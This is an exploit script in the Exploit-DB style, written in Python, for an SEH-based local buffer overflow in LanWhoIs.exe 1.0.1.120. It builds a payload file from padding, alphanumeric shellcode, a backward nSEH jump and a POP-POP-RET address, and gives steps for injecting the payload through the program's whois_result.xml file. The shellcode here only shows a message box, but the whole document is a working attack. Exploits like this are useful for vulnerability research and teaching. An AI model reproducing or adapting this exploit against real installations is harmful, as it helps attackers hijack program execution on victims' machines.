LanWhoIs.exe 1.0.1.120 SEH Local Buffer Overflow

`#!/usr/bin/python  
# -*- coding: utf-8 -*-  
  
### LanWhoIs.exe 1.0.1.120 SEH Local Buffer Overflow Exploit by H3ku ###   
  
# Date: 2016-10-26  
# Exploit Author: H3ku  
# Exploit Title: LanWhoIs.exe 1.0.1.120 SEH Overflow Exploit  
# Vendor Homepage: http://lantricks.com  
# Software Link: https://www.exploit-db.com/apps/70189a2b11bf85245ebcc00b603b5def-lanwhois_setup.exe  
# Version: 1.0.1.120  
# Tested on: Win7 64bit - Win10 64bits  
  
# Credits  
# =======  
# PoC by: hyp3rlinx - http://hyp3rlinx.altervista.org  
# https://www.exploit-db.com/exploits/38404/  
# Thanks to n30m1nd for clarifying my doubts in the amazing world of exploiting!  
  
# How to  
# ======  
# * Run this python script. It will generate an "exploit.txt" file.  
# * Copy the contents in to C:\Program Files (x86)\LanTricks\LanWhoIs\whois_result.xml (Parameter <QueryString>)  
# * Select the address in the Results window pane and then click Query button to run a whois lookup or use 'F3'  
# * MessageBoxA is called on an infinite loop since the exception handler is triggered all the time  
  
# Exploit code  
# ============  
  
import struct  
  
# MessageBoxA in 00404A2C  
shellcode = ("\x25\x41\x41\x41"  
"\x41\x25\x32\x32"  
"\x32\x32\x50\x68"  
"\x70\x77\x6E\x64"  
"\x54\x5F\x50\x57"  
"\x57\x50\x35\x51"  
"\x7A\x70\x50\x35"  
"\x7D\x30\x30\x50"  
"\x50\xC3")  
  
payload = "A"*550  
payload += shellcode  
payload += "A"*(126-len(shellcode))  
nseh = "\xEB\x80\x90\x90" #jmp $-126  
seh = struct.pack("<L", 0x00402b56) #POP ECX - POP EBP - RETN  
  
payload += nseh + seh  
  
with open("exploit.txt", "wb") as f:  
f.write(payload[:-1])  
f.close()  
`